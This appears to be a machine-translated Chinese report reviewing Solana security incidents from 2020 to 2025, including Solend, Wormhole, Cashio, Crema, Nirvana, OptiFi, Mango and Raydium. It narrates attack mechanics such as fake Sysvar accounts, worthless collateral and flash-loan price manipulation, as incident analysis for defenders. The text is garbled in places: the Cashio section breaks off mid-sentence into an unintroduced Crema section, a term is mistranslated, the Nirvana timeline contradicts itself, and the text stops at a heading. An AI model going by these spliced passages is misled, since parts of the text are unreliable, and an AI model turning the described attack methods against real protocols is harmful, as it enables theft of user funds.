本文详细分析了2020年至2025年4月Solana生态系统中发生的主要安全事件,包括应用层漏洞、供应链攻击和核心协议问题。
自从 2020 年推出以来,Solana 已将区块链的速度和吞吐量推向了新的高度——但并非没有安全方面的阵痛。从备受瞩目的 DeFi 漏洞利用(例如 Wormhole 的 3.2 亿美元跨链桥攻击)到网络中断和新的供应链妥协,Solana 的历程提供了一个在性能与稳健性之间取得平衡的案例研究。本报告按时间顺序考察了 截至 2025 年 4 月的所有重大 Solana 安全事件,按类型进行了分类:应用层漏洞利用、供应链攻击、核心协议问题、网络级漏洞 和 新型攻击媒介。
我详细介绍了每个事件的技术原因(在提供代码参考的情况下)、时间表、影响(财务损失、受影响的钱包、代币价格反应)、响应和补救措施、根本原因分析以及经验教训。 我还包括定量分析——随时间推移的事件频率、事件之间的平均时间、按类别划分的总损失——并将 Solana 的安全轨迹与其他 Layer-1(如 Ethereum 和 Avalanche)进行了比较。 目标是为开发人员、研究人员、投资者和公众提供一个易于理解且全面的 Solana 安全演进时间表。
图:Solana 安全事件(2020-2025 年)的时间顺序时间表,每个事件都按类别进行注释。
如上图所示,Solana 最动荡的时期是 2021 年至 2022 年,事件频繁发生,在 2022 年达到顶峰(多次攻击和多次网络中断)。 到了 2023 年底和 2024 年,事件之间的间隔时间有所增加,这表明安全态势正在成熟。 2020 年至 2025 年 4 月期间,由 Solana 漏洞利用造成的总记录损失超过了 5.3 亿美元,其中绝大部分来自 DeFi 应用程序漏洞利用,而核心协议和网络问题虽然具有破坏性,但 并未直接窃取用户资金。 下面的热图显示了 2022 年初和 “应用程序” 类别中财务损失的集中情况:
图:按季度和事件类别划分的财务损失(以美元计)热图。
颜色较深的单元格表示该期间的损失较高。 请注意 2022 年第一季度至第二季度(Wormhole、Cashio)和 2022 年第四季度(Mango)应用程序层攻击造成的巨大损失。 核心协议和网络问题导致了停机,但没有直接的资金损失。
在接下来的章节中,我们将按类别(应用程序漏洞利用、供应链、核心协议、网络、新型媒介)大致按时间顺序分解事件,并对每个事件提供深入的分析。 然后,我们将总结跨事件的指标(频率、MTTR 等)、Solana 的安全改进(漏洞赏金、新的验证器客户端),并简要比较 Ethereum、Avalanche 和其他平台。
应用程序层漏洞利用的目标是 Solana 程序(智能合约),例如 DeFi 协议、桥和链上治理。 这些漏洞利用是 资金被盗方面最昂贵的,通常是由于智能合约中的逻辑错误或经济设计缺陷所致。 以下是对重大 Solana 应用程序漏洞利用和漏洞的按时间顺序的回顾:
一名黑客试图利用 Solana 上的借贷协议 Solend,方法是滥用管理功能中不安全的身份验证检查。 2021 年 8 月 19 日格林威治标准时间 12:40,攻击者使用恶意参数调用了 Solend 的 UpdateReserveConfig()
。 他们成功地更改了风险参数:使几乎所有借贷账户都可以被清算,并将借款 APY 设置为 250%。 这将使攻击者能够清算健康的贷款以获取利润并收取过高的费用。
Solend 在 X(以前称为 Twitter)上的推文:2021 年 8 月 19 日
根据 Solend 安全审计员的 SLND-INCDT-01 报告,攻击者(5ELHytHM4cvKUPCWX8HPwkwtw3J866Wtexdpo8PPxp2u)总共提交了 10 笔交易:9 笔到 Solend 程序地址(So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo),1 笔到 Port Finance 的程序地址(Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR),但失败了。 Port 是一家竞争对手的借贷协议,据信运行着类似的代码,但由于 Port 是闭源的,因此无法验证这一点。
攻击者的钱包由一个看起来像是交易所钱包(2ojv9BAiHUrvsm9gxDe7fJSzbNZSJcxZvf8dqmWGHG8S)资助。
首先,攻击者创建了一个新的 Lending Market。 接下来,他们更新了 USDC、SOL、ETH 和 BTC 储备的配置。
最值得注意的配置更改及其影响是:
攻击者显然打算通过以过高的奖金错误地清算账户来窃取资金。 大约有 200 万美元面临风险。
除了 Solend 自己的清算机器人外,没有发生任何清算。 攻击者清算的尝试没有奏效。 默认情况下,在 Solana 上,交易会在本地模拟,如果模拟失败,则永远不会发送给验证者,因此没有潜在失败清算尝试的记录。
攻击者能够通过使用新创建的 Lending Market 来破坏身份验证检查,从而 UpdateReserveConfig()
。
代码检查不足,因为攻击者可以传入他们创建的并归他们所有的任意 Lending Market。 修复方法包括添加一项检查,即 ConfigAuthority 账户必须签署交易。
幸运的是,没有资金被盗。 但是,在攻击停止之前,有五个用户的头寸被错误地清算。 这些用户从清算人的不正当收益中获得退款(1.6 万美元)。 该平台和社区资金没有遭受任何盗窃。 这种快速拦截避免了当时可能造成的数百万美元的损失。
Solend 的开发人员做出了迅速的响应。 根据该团队的报告,他们在 41 分钟内发现了异常的参数更改,并在 29 分钟后缓解了该问题。 从检测到问题开始约 1 小时 38 分钟内,就部署了一个代码补丁来修复损坏的身份验证检查。
Solend 第二天公开宣布了该事件,并保证 “没有资金被盗。” 他们还承诺增加漏洞赏金规模并构建更好的监控和警报服务。
Port Finance 团队私下收到了有关这些事件的通知,因为他们也有机会让攻击者尝试利用他们。
Solend 团队修补了合约,以确保只有经过授权的所有者才能调用 UpdateReserveConfig()
。
审计员迅速审查了该修复程序。 展望未来,Solend 进行了额外的审计。 当 Solana DeFi 仍处于早期阶段时发生的这一事件,敲响了警钟,要求加强对 Solana 中所有管理权限检查。
即使是 “次要” 的管理功能也可能至关重要。 Solend 学会在所有指令上实施严格的身份验证。 成功的防御(没有重大资金损失)证明了实时监控的价值 - 该团队注意到链上异常的配置更改并迅速做出反应。
此事件为 Solana 安全事件的透明度树立了先例。 社区了解到 Solana 本身没有过错(错误在于 dApp 逻辑中),这凸显了 dApp 开发人员对安全的共同责任。
为了响应此事件和后来的事件,Solend 构建并开源了 Brick,这是一个随时可以部署的程序,可以在紧急情况下快速冻结功能。
2022 年 2 月 2 日,Solana 经历了历史上最大的 DeFi 黑客攻击之一:Wormhole 跨链桥漏洞利用。 一名攻击者(CxegPrfn2ge5dNiQberUrQJkHCcimeR4VXkeawcFBBka)在 Solana 上铸造了 120,000 个 包装以太币(wETH)(当时价值约 3.2 亿美元),而没有提供真实的 ETH,然后将一些 以太桥接到 Ethereum(0x629e7Da20197a5429d30da36E77d06CdF796b71A)。
这是一个签名验证错误 - 攻击者绕过了 Wormhole 的监护人验证,有效地欺骗了桥来铸造无担保的代币。 Wormhole 损失了 Solana 上 wETH 的所有 ETH 支持。 在前所未有的举动中,Wormhole 的母公司 Jump Trading 介入并提供了 3.2 亿美元的自有资金,以在第二天更换被盗的 ETH,从而使用户完好无损。
Wormhole 是一个跨链桥,一组监护人签署消息,证明在一个链上锁定代币,以便在另一个链上铸造包装的代币。 攻击者在 Wormhole 的 Solana 程序中发现了一个漏洞:它未能正确验证跨链传输的监护人签名。 具体来说,Wormhole Solana 合约信任特殊 "sysvar instruction" 账户的地址,而没有验证它是否是真正的 Sysvar。
Solscan:常规 VERIFY SIGNATURE 交易
攻击者将 “伪造的 Sysvar 账户注入” 到交易中。 在常规的 verify_signature 交易中,第四个输入参数应包含 “Sysvar:指令”(检查签名的程序的别名)。 在黑客的交易中,此参数包含黑客提供的程序地址。
Solscan:攻击者的 VERIFY SIGNATURE 交易
在执行 verify_signatures 方法期间,黑客设法将 “Sysvar:指令” 地址替换为他自己提供的地址
在绕过签名检查后,攻击者调用了桥的 complete_wrapped
函数,凭空铸造了 12 万个 wETH。
据报道,该漏洞是已知的,并且正在进行修补 - 修复程序位于 Wormhole 的 GitHub 上,但尚未部署到主网,这为黑客提供了关键的攻击窗口。
核心问题是 缺少账户身份验证 以及 Solana 运行时的灵活性。 在 Solana 上,程序可以传递任意账户 - Wormhole 的代码未能确保 sysvar_instruction
账户是真实的账户(这是一个已知的安全陷阱 - 使用伪造的 Sysvar 是一种常见的攻击媒介)。 实际上,一行代码(签名验证)被绕过了,这是一个典型的 先检查后使用漏洞。
这在某种程度上类似于早期在 Ethereum 侧链/跨链桥上的黑客攻击,其中签名检查不完整(例如,Poly Network 黑客攻击)。
这是迄今为止 Solana 最大的攻击 - 价值 3.2 亿美元。 它立即引发了对 Solana DeFi 跨链桥的信任危机。 SOL 的价格在黑客攻击后的 24 小时内下跌了约 10%,这反映了交易者对生态系统安全性的担忧。 此次攻击凸显了跨链桥中存在的严重信任假设。
被盗的 ETH 仍留在黑客的钱包中(攻击者在几个月后试图进行一些 DeFi 操作,并且在 2023 年 2 月,白帽黑客对黑客的 Oasis vault 进行了反攻击,以追回约 2.25 亿美元的 ETH)。
Wormhole 的团队几乎立即注意到了不规则的铸造 - 他们在 2 月 2 日发推文说网络 “正在遭受漏洞利用”,并使桥离线。 几个小时内,他们向黑客提供了 1000 万美元的赏金(黑客没有回应)。
WormHole 在 X(以前称为 Twitter)上的推文:2022 年 2 月 2 日
到第二天(2 月 3 日),Jump Crypto 宣布它已更换了 12 万个 ETH,以 “恢复桥的完整性”。
Wormhole Solana 合约已修补,以修复签名验证(确保只能使用真实的 Sysvar 和监护人集)。 桥于 2 月 3 日在重新部署和测试后重新启动。 这种迅速的补救措施(不到 24 小时)防止了蔓延 。
Wormhole 发布了一份详细的事件报告,并与审计师合作仔细检查了修复程序。 值得注意的是,Jump 的救助行动维护了用户的信任,防止了 Solana 的 DeFi TVL 崩溃,如果 wETH 仍然没有支持,可能会导致崩溃。
Wormhole 程序已更新,以通过预期的 Sysvar 严格验证监护人签名,并拒绝任何注入的账户。 已部署并审核了修补的代码。 此外,监护人(一组 Wormhole 的验证器)可能收紧了他们的链下签名流程。
Wormhole 在黑客攻击后在 Immunefi 上实施了高达的漏洞赏金。
Wormhole 黑客攻击强调了跨链桥是主要目标,并且单个漏洞可能会产生全系统影响。 对于 Solana 开发人员来说,这是关于 Solana 特定检查的警告。
该事件还证明了快速响应和雄厚财力的重要性 - Jump 的救援防止了用户的流失,并可能使 Solana 免于更深层次的衰退。 展望未来,Solana 生态系统更加重视对关键程序进行正式审计。 “无需信任的跨链桥” 的概念变得更加紧迫,因为 Wormhole 的半信任模型失败了。
最后,黑客攻击证明,即使是经过审计的代码也可能隐藏着微小的错误,并产生巨大的后果,从而在 Solana 开发和审计社区中加强了 “不假设任何事情,仔细检查每件事” 的文化。
2022 年 3 月,Cashio 是一种由计息 Saber USD 流动性提供商代币支持的去中心化稳定币,被利用 约 5000 万美元。
攻击者发现了一个漏洞,该漏洞允许他们在没有适当抵押品的情况下铸造无限的 CASH 稳定币。 他们继续铸造了大约 20 亿个 CASH,然后赎回并兑换了尽可能多的代币,完全耗尽了 Cashio 的流动资金池。
Cashio 的稳定币 CASH 一夜之间变得一文不值。 这是一个应用程序逻辑错误 - Cashio 未能验证抵押账户的真实性,从而导致了经典的 “伪造抵押品” 攻击。
Cashioapp 在 X(以前称为 Twitter)上的推文:2022 年 3 月 23 日
技术细节
攻击者利用了抵押品验证设计中的一个漏洞:Cashio 使用 Saber LP 和 Arrow Protocol 作为抵押品,并且 Arrow 账户上的 mint 字段未经过验证。 用户存入抵押品以铸造 CASH 代币,如果用户的抵押品存款通过了一系列验证代币检查,则将其存入协议拥有的账户中。
首先,攻击者(6D7fgzpPZXtDB6Zqg3xRwfbohzerbytB2U5pFchnVuzw)铸造了两个完全虚假的代币,并使用它们创建了一个虚假的流动性池。 他们从那个资金池中提取了 “LP 代币”(GoSK6XvdKquQwVYokYz8sKhFgkJAYwjq4i8ttjeukBmp),这些代币没有真正的支持价值。
接下来,他们转向 Arrow 借贷程序。 使用其 init_arrow_vendor_miner() 调用,他们设置了一个恶意的 Arrow 账户。
然后,通过 deposit_vendor()
,他们存入了 20 亿个毫无价值的 LP 代币,并且 - 因为该程序盲目信任任何存入的 LP 代币 - 铸造了 20 亿个抵押代币 (GCnK63zpqfGwpmikGBWRSMJLGLW8dsW97N4VAXKaUSSC)。
最后,在他们新铸造的 GCnK 抵押品到位后,他们调用了 Arrow 程序的 “print cash” 指令。 这使他们能够用虚假抵押品借入 20 亿个 CASH 代币。
为了将其转化为真正的资金,他们通过 Saber 发送了这些 CASH 代币,将其兑换为 UST 和 USDC。
总而言之,Cashio App 漏洞利用导致大约 5200 万美元 因为抵押品验证设计中的漏洞而损失的资金。 这些资金通过 Wormhole 和 Paraswap 转移到 Ethereum。
根本原因
编码错误阻止了对银行代币和铸造代币是否匹配的验证。 攻击者能够从毫无价值的代币中创建实际的 CASH 代币。 通过存入毫无价值的抵押品,攻击者从协议中耗尽了价值并创建了 CASH 代币。 缺失的验证代码导致了一次攻击,造成 5280 万美元的资产损失。 这些资金通过 Wormhole 和 Paraswap 转移到 Ethereum。
影响
大约 5000 万美元的价值被从 Cashio 的流动资金池中吸走,一旦其支持被耗尽,CASH 稳定币就会暴跌至零。 持有 CASH 或在受影响的资金池中提供 LP 的用户看到他们的头寸被清空; 幸运的是,由于 CASH 大部分是孤立的,因此更广泛的 Solana DeFi 没有受到严重打击。
攻击者通过 Terra 的 UST 清洗收益(赚取了大约 860 万美元的 UST,后来在 Terra 于 2022 年 5 月崩溃时归零),并将大约 3400 万美元的稳定币桥接到 Ethereum。
总共有 3636 名用户受到影响,并提交了 280 份索赔(其中 220 份符合约 95% 退款的条件)。 在所有 Solana 账户中,被盗了 7720 万美元 - 其中链上退款 399 万美元,Ethereum 退款 1440 万美元 - 净损失为 5880 万美元。
仅关注那些提交索赔的人,损失了 3970 万美元,Solana 退款 71 万美元,Ethereum 退款 1440 万美元,净索赔损失为 2460 万美元。 在发现后,Cashio 团队立即警告所有人停止交易 CASH,因为它已完全没有支持。
响应
Cashio 暂停运营,并于 2022 年 3 月 23 日通过 Twitter 通知公众。 他们承认了 “无限铸币故障” 并要求协助追踪资金。 流动性提供商没有追回资金,因为攻击者没有归还资金。
2022 年 3 月 28 日,在攻击发生几天后,黑客发出警报,建议受影响的 Cashio 用户可以收回他们的现金,如果他们可以证明资产的来源以及为什么要归还这些资产。
黑客表示,不会将钱归还给那些并非特别需要它的富人。 受影响的个人能够在社区成员创建的网站上以黑客要求的格式展示他们的案例。
补救措施
损失金额非常具有破坏性,以至于一小群开发人员别无选择,只能按照黑客的要求,帮助社区中资产少于 10 万美元的成员从攻击者那里追回资金。
https://x.com/sainteclectic/status/1510663046728978437
Cashio App 项目在 2022 年初拥有强大的社交媒体影响力,并且活跃于 Twitter、Discord、Medium 和他们的项目网站上。 这些渠道中的大多数已经放缓,其中大部分活动都引用了这次攻击和归还用户资金。
2022 年 6 月,Cashio App 在 Medium 上宣布了一项新协议的计划,以帮助为受害者筹集资金并扩展 Saber 生态系统。 自此公告以来,Cashio App 团队未在社交媒体平台上活跃。 目前尚不清楚该团队是否正在按照他们的计划构建新协议。
经验教训
不要信任,请验证 - 尤其是在铸币方面。 Cashio 告诉 Solana 开发人员,任何外部账户输入都必须被视为不受信任的。 该漏洞利用非常简单(没有 Solana 特定的奥秘,只是未能执行业务逻辑) - 提醒人们必须明确地编写基本不变式(例如 “仅接受我们的 LP 代币作为抵押品”)。 它还强调了审计新稳定币设计的必要性。
在社区方面,它促进了对未经充分审计的稳定项目的怀疑,并加强了对经过实战检验的稳定币的依赖。 从安全的角度来看,这是 Solana 上的经典 “无限铸币” 黑客攻击类别的一个实例(例如 Ethereum 的 2020 Lien 协议黑客攻击) - 表明 Solana 智能该序列极具技术性:攻击者创建了一个虚假的流动性仓位,注入一笔闪电贷以产生一笔通常会产生交易费的大额交换,但通过控制 tick 账户数据,他们声称获得了超额的流动性返利。
交易:众多被操纵的交易之一。高亮显示的部分显示了他们每次存款收到的费用,每次交易最多可达 5 倍
然后,他们提取了这些非法所得的费用奖励。这发生在一次使用借入资金的原子交易中,因此双方都不必预先拥有所有资金(闪电贷在最后被归还)。
该漏洞在于对 tick 账户的验证不足——本质上,Crema 没有正确验证 tick 账户的来源,从而允许攻击者的合约伪装成池的合法部分。
这在某种程度上是集中流动性设计特有的,但广义上讲,这是一个账户身份/真实性问题,很像 Wormhole 的漏洞(尽管规模较小)。闪电贷仅仅是快速大规模利用它的工具。
Crema 损失了约 $880 万美元 的各种代币。该平台暂停并通知了用户。
7 月 6 日,该团队宣布,黑客在收到报价后归还了资金(他们提供了 80 万美元的赏金;黑客谈判保留约 160 万美元的 SOL)。——第一笔 ETH 交易 ,第二笔 ETH 交易 ,第一笔 SOL 交易 ,第二笔 SOL 交易
因此,用户最终追回了大约 90%+ 的资金,这是一个相对积极的结果。该漏洞确实导致了暂时的资金池失衡,并吓坏了流动性提供者;然而,快速的解决方案限制了长期损害。这个事件及其通过“白帽”谈判的解决方案在 2022 年变得更加普遍(类似于 Fei & Rari Protocol、Aurora Protocol 漏洞等)。
Crema 的团队立即 暂停了智能合约 并与 Solana 安全公司(OtterSec 等)合作分析该漏洞。他们几天内就确定了该漏洞,同时还 通过链上消息和 Twitter 联系了黑客。
Crema Finance 在 X(以前称为 Twitter)上的推文:2022 年 7 月 6 日
补救措施
Crema Finance 部署了一个由 Slowmist 审计的新合约 ,而旧合约在 2023 年变得过时。
经验教训
Crema 的漏洞加强了闪电贷+弱检查=灾难的观点。闪电贷意味着攻击者可以用零前期资金发起大规模攻击,因此任何细微的逻辑错误都可能被放大到最大效果。
该事件还展示了不断演变的“谈判文化”——黑客没有立即清洗资金,而是愿意归还价值以换取安全赏金。
2022 年 7 月晚些时候,Nirvana Finance(一种具有算法稳定币 NIRV 和投资代币 ANA 的收益优化协议)遭受了闪电贷攻击。黑客利用 Nirvana 价格计算中的一个缺陷,窃取了 $350 万美元,导致 ANA 的价格暴跌约 80%,而 NIRV 则失去了与美元的Hook(↓92%)。
Nirvana 保证 ANA 底价的机制被这次攻击打破,耗尽了支持 NIRV 的国库。这是一种利用编码错误的经济设计漏洞——实际上是一种类似于“伪预言机漏洞”的闪电贷价格操纵。
Nirvana 的协议维护了一个国库来支持其 NIRV 稳定币,并为 ANA 设置一个不断上涨的底价(以激励持有)。攻击者(76w4SBe2of2wWUsx2FjkkwD29rRznfvEkBa1upSbTAWH)从 Solend 协议借入了 $10,250,000 USDC,并用它来购买 $ANA。
然后,攻击者通过在合约中发出 Buy 命令,将 $ANA 的价格从 8 美元操纵到 24 美元。
利用虚高的价格,他们从 Nirvana 国库中将 $ANA 兑换为约 $3,490,563 USDT,并将剩余部分返还给 USDC。
攻击者能够将 $10,250,000 USDC 闪电贷退还给 Solend 协议,同时保留剩余部分。
攻击者能够将 $10,250,000 USDC 闪电贷退还给 Solend 协议,同时保留剩余部分。攻击者将全部 USDT 金额转换为 USDC,并通过 Wormhole 将资金转移到一个 ETH 账户(0xB9AE2624Ab08661F010185d72Dd506E199E67C09)。
Nirvana 的漏洞是典型的闪电贷辅助的预言机操纵。根本漏洞在于 Nirvana 的 ANA 定价机制没有使用外部的、防篡改的价格预言机——它依赖于其内部的粘合曲线/国库价值,这可能会因突然的大额交易而被操纵。
经济设计假设价格逐渐变化,但闪电贷打破了这个假设。这类似于 Mango Markets 的漏洞(几个月后会以更大的规模发生)——两者都涉及使用两个账户和大量资本来操纵价格并借入/赎回价值。区别在于:Mango 的预言机是外部的(但市场很薄),而 Nirvana 的“预言机”是其自身的合约逻辑。
在 Nirvana 的案例中,合约更新 ANA 底价的方式可能也存在一个特定的错误(例如,没有限制每次交易的上涨幅度)。更具弹性的设计或时间加权平均价格检查可以防止这种瞬间跳跃。
Nirvana 的稳定币 NIRV 从 1 美元暴跌至约 0.08 美元,其 ANA 代币损失了 85% 以上的价值,破坏了投资者的信心。
大约 350 万美元从 Nirvana 的储备中被盗——这些储备直接对应于支持 NIRV 的用户资金,因此实际上 NIRV 持有者和 ANA 投资者的社区损失了这笔金额。该漏洞破坏了 Nirvana 的运作能力;这对该协议来说是致命的打击。
持有 NIRV 或 ANA 的用户剩下的代币价值微不足道。在这种情况下没有发生恢复或赏金谈判;攻击者带着钱消失了。
Nirvana 的团队于 7 月 28 日确认了黑客攻击并停止了运营。他们确定“不断上涨的底价”算法已被利用,并承认了资金损失。
Nirvana Finance 在 X(以前称为 Twitter)上的推文:2022 年 7 月 28 日
他们甚至向 黑客提供了归还赏金(呼吁攻击者的“善良本性”),但没有归还任何赏金。事后,Solana 社区成员,如 Solend 团队介入 探索协助 Nirvana(由于涉及 Solend 的闪电贷,Solend 感到部分投资于解决方案)。
然而,由于国库被耗尽,Nirvana 无法恢复 NIRV 或 ANA 的价值。该团队最终关闭了该协议,但在 2025 年重新启动,并专注于调查和与执法部门合作,这导致了 2023 年逮捕了安全工程师 Shakeeb Ahmed,他也与 Crema Finance 的漏洞有关联。
由于 Nirvana 实际上已经不复存在,因此直接的补救措施毫无意义。但是,该事件的调查结果可能会影响其他算法设计团队。例如,具有粘合曲线或重新调整机制的协议注意到要合并断路器(限制一个区块内或由于一个地址引起的价格变动)。
闪电贷安全措施——例如,要求多个区块时间加权价格或大型铸币/赎回的冷却期——在 Solana 审计中变得越来越普遍。
经验教训
Nirvana 的崩溃强化了经济安全与技术安全同等重要的观点。如果激励机制和机制允许操纵,那么合约在代码中可能是没有错误的,但在经济上仍然可以被利用。如果没有外部或速率限制的预言机,闪电贷会使任何链上定价机制都非常危险。该事件经常与 Mango 一起被引用为 Solana 市场操纵漏洞的例子。
它教会了 DeFi 构建者集成强大的预言机系统(如 Solana 上的 Pyth 或 Switchboard),并限制单笔交易的影响(例如,一个区块中可以赎回的最大国库百分比)。对于用户和投资者来说,这是对无支持或算法稳定币风险的又一次提醒——Terra 不久前的失败悲惨地强调了这一主题。
OptiFi 是 Solana 区块链上的一个去中心化期权交易所,由于对命令的误解,不慎禁用了其主网服务,并锁定了约 价值 $661,000 美元的 USDC,其中 95% 归团队成员所有。
这些资产无法恢复,因此计划手动退还给受影响的用户。
根据 OptiFi 事件报告,8 月 29 日 UTC 时间 06:00 左右,该团队对其 Solana 程序代码进行了更新,因此他们的部署者尝试升级 Solana 主网上的 OptiFi 程序。
然而,他们不小心使用了 ‘solana program close’ 命令,导致主网上的 OptiFi 程序不幸关闭。
OptiFi 上的所有用户资金和未平仓头寸都被锁定在 PDA 中,总计 66.1 万美元(AMM 金库、用户账户等),并且在撰写本文时无法恢复。
当 OptiFi 的团队于 8 月 29 日 UTC 时间 06:00 首次在主网上运行 anchor deploy
时,网络拥塞导致交易停滞——当他们使用 Ctrl+C 中止交易时,一个全新的缓冲区账户悄悄地吞噬了 17.20 SOL。他们的钱包仍然显示大约 14.97 SOL,但其余的已经为部署配置。
希望在不知道缓冲区公钥的情况下恢复这些资金,他们尝试使用以下命令进行部分关闭:
solana program close \
--recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
--authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.json
不出所料,它失败了——因为缺少 --buffers
标志(及其缓冲区 ID 列表)。
回想起他们在 devnet 上通过关闭整个程序来回收缓冲区 SOL,他们运行了:
solana program close \
optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B \
--recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
--authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.json
在短短七分钟内,他们成功地恢复了大约 43.39 SOL——但不小心“关闭”了 OptiFi 程序本身。
当他们再次尝试部署时,Anchor 立即拒绝了他们的程序 ID:
Error: Program optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B has been closed, use a new Program Id
这是因为 solana program close
不仅仅是清空缓冲区账户——它会永久取消链接该程序 ID。从那一刻起,它就从网络的注册表中消失了,OptiFi 不得不在任何未来的部署之前生成一个新的 ID。
当 OptiFi 程序 (optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B) 关闭时:
所有链上状态都变得不可变。 每个保证金账户(USDC + 期权代币)和 AMM 金库 (USDC) 都位于与该程序 ID 相关的 PDA 下——因此它们现在永久冻结到位。
超过 US$661,000 的 USDC 被锁定。 DeFi Llama 报告说,大约有 661,000 USDC 的 TVL 用户无法再提取或与之交互。
他们承诺将 归还所有用户的存款,并根据 UTC 时间 9 月 2 日上午 8 点的 Pyth 预言机手动结算所有用户的头寸。所有交易和存款都将基于 Solscan。
从现在开始,每次部署都将涉及三名团队成员,他们将共同验证网络健康状况、账户余额和确切的 CLI 命令——记录每个命令及其输出——如果出现任何异常情况,立即暂停进行小组审查。
我们会将所有 AMM USDC 金库和保证金账户 PDA 隔离到一个单独的程序中,以便即使必须关闭核心程序,用户资金仍然可以访问。
最后,我们将推动 Solana 在其文档中警告说
solana program close
是不可逆转的,并在 CLI 中构建一个两步“你确定你真的要关闭吗?”提示。
每次部署都需要一个严格的流程,并且可以通过适当的审查程序和安全措施来避免单点故障。此事件突出了彻底理解 CLI 命令以及为关键操作实施多人验证的重要性。
Solana 最臭名昭著的事件之一,Mango Markets 漏洞,发生在 2022 年 10 月 11 日。 Mango 是一个流行的去中心化交易所和借贷平台,当攻击者精心策划了一场预言机价格操纵攻击时,损失了约 $1.16 亿美元 的客户资金。
攻击者使用两个由稳定币资助的账户,在几分钟内将 MNGO(Mango 的治理代币)的价格抬高了 30 倍,然后以人为抬高的抵押品为抵押借款,耗尽了 Mango 借贷池中的所有流动性。
独特的是,攻击者 (Avraham Eisenberg) 随后公开承认自己是“盈利交易者”,并通过 Mango 的治理论坛协商达成和解。最终,大约 $6700 万美元 被归还,Mango 用户在剩余部分上遭受了重大损失。此事件模糊了黑客攻击与精明(如果是不道德的)的交易策略之间的界限,利用了协议设计。
Mango 依赖于其自己的订单簿 DEX 和一个从该 DEX 和一些交易所提取价格的预言机。 Mango 的 MNGO 代币交易量很小且流动性低。
攻击者 - yUJw9a2PyoqKkH47i4yEGf4WXomSHMiK7Lp29Xs2NqM 首先为两个钱包 账户 A 和 账户 B 注入了 5,000,000 USDC,每个账户都注入了 5,000,000 USDC:
然后,账户 A 以每个期货 3.8 美分的价格提交了总计 4.83 亿 $MNGO 永续期货的卖单。
然后,账户 B 以每单位 0.0382 美元的价格从帐户 A 购买了所有 4.83 亿 $MNGO 永续期货。
Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析
然后,攻击者开始开始移动 MNGO 现货市场的价格,其交易价格高达 0.91 美元。
Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析
在每个单位 0.91 美元的 MNGO/美元价格下,账户 B 通过 4.83 亿 MNGO*(0.91 美元 - 0.03298 美元)= 4.23 亿美元获利。足够的未实现损益来提取跨多个代币的 1.16 亿美元贷款,然后离开了 Mango,使协议处于亏损状态。
Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析
根本问题在于过度依赖交易量小的抵押品,而没有断路器。 Mango 的风险参数过于宽松——他们将 MNGO 视为有效的高质量抵押品,并允许借用其价值的 100%。
此外,预言机设计(使用其自己的 DEX 价格)不具有抗操纵性。与更强大的预言机(采用许多交易所的中位数或具有更新频率限制)不同,Mango 的价格可以通过相对较少的资本来移动。
这在本质上类似于早期的拉高抛售借贷漏洞(例如,Cream Finance 在 2021 年利用低流动性代币的漏洞)。一个比较根本的原因是“缺乏价格合理性检查”——Aave 等协议已经具备(Aave 会拒绝这种飙升,将其视为异常值)。 Mango 既没有紧急断路器,也没有用于 MNGO 的独立预言机(如 Pyth)。
Mango Markets 变得资不抵债——大约 $1.16 亿美元 被抽走。由于流动性消失,所有存款用户都无法提款。
Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析
Mango 的 MNGO 代币本身立即暴跌约 75%。该平台停止了运营。此事件强调了预言机的风险以及单个参与者如何控制所谓的去中心化平台。
攻击发生后,Mango 的团队 冻结了程序并禁用了存款。 他们迅速确定了根本原因(预言机操纵)并通过治理论坛与攻击者进行了互动。
在一个不寻常的社区投票中,Mango 代币持有者(攻击者可能持有多数) 投票允许攻击者保留 4700 万美元,如果他们归还剩余部分。
文章:加密交易平台 Mango Markets 在闪电贷攻击中被抽走超过 1 亿美元
该团队使用归还的资金加上剩余的国库来在一定程度上补偿用户——到 10 月 15 日,用户可以收回部分存款(最终,用户获得了大约 0.55 美元)。
值得注意的是,Mango 的攻击者后来于 2022 年 12 月被美国当局逮捕,因为该漏洞被视为欺诈。从法律上讲,它开创了一个先例,即这种操纵被视为犯罪,尽管攻击者声称采取了“合法的公开市场行动”。
Mango 的团队承担了责任,并 专注于赔偿,法律跟进和修复。
在修复方面: 他们施加了 存款/借款限制 这样恶意用户就无法为了自己的利益而操纵金库
他们还确保了 未结算的 PNL 不是抵押品,除非已结算。如果此 PNL 未结算,则收益或损失尚未实现。
此外,使用 Pyth 和 Switchboard 价格 集成了一个强大的预言机源,并进行平滑处理或需要更长时间的价格有效性。
预言机和市场深度: DeFi 平台必须考虑流动性。依靠单个交易所的订单簿(尤其是你自己的订单簿)进行定价可能是致命的。集成强大的预言机基础设施是不容谈判的。
风险控制: 对于低市值代币,抵押品系数应保持保守。 协议学会了模拟闪电贷场景并为每项资产设置借款上限和存款限额。
该漏洞促使 Solana DeFi 改进了风险管理 - 引入了诸如上限未平仓头寸、预言机源的价格 TWAP (时间加权平均价格) 以及防止治理攻击(例如,暂停最近获取的代币的治理能力)等想法。
总之,鉴于治理方面的曲折,Mango 的漏洞属于新型攻击向量。它展示了攻击者的复杂性以及协议设计中同样复杂的防御机制的必要性,而不仅仅是代码正确性。
2022 年 12 月,Solana 最大的 DEX (AMM 协议) 之一 Raydium 遭受黑客攻击,导致其流动性池中损失了 440 万美元。
这不是传统的智能合约错误,而是池管理员帐户私钥的泄露。
攻击者获得了对 Raydium 流动性池的“上帝模式”访问权限,使用管理员权限从所有池中提取的费用远远超过正常金额。
本质上,黑客窃取了管理员私钥(可能是通过开发人员机器上的特洛伊木马),然后滥用了智能合约中现有的管理员功能。
**技术细节Solscan
